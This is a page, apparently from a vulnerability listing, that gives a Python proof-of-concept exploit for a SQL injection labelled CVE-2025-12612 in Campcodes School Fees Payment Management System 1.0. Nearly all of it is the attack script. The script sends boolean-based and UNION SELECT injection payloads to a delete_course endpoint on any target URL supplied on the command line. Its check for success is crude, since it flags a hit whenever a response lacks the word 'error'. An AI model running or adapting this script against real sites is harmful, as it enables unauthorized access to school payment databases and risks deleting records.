CVE-2025-12612 Campcodes学校缴费系统SQL注入漏洞

import requests import sys # CVE-2025-12612 SQL Injection PoC # Target: Campcodes School Fees Payment Management System 1.0 # Endpoint: /ajax.php?action=delete_course def exploit(target_url, session_cookie=None): """ SQL Injection exploit for CVE-2025-12612 Tests for boolean-based blind SQL injection in ID parameter """ headers = {'User-Agent': 'Mozilla/5.0'} if session_cookie: headers['Cookie'] = session_cookie # Test payloads for SQL injection payloads = [ "1' AND 1=1 -- ", "1' AND 1=2 -- ", "1' UNION SELECT NULL-- ", "1' UNION SELECT version()-- " ] for payload in payloads: url = f"{target_url}/ajax.php?action=delete_course&id={payload}" try: response = requests.get(url, headers=headers, timeout=10) print(f"[*] Testing payload: {payload}") print(f"[*] Status: {response.status_code}") if 'error' not in response.text.lower(): print("[+] Potential vulnerability detected") return True except Exception as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-12612.py <target_url>") print("Example: python cve-2025-12612.py http://target.com") sys.exit(1) target = sys.argv[1] print(f"[*] Targeting: {target}") exploit(target)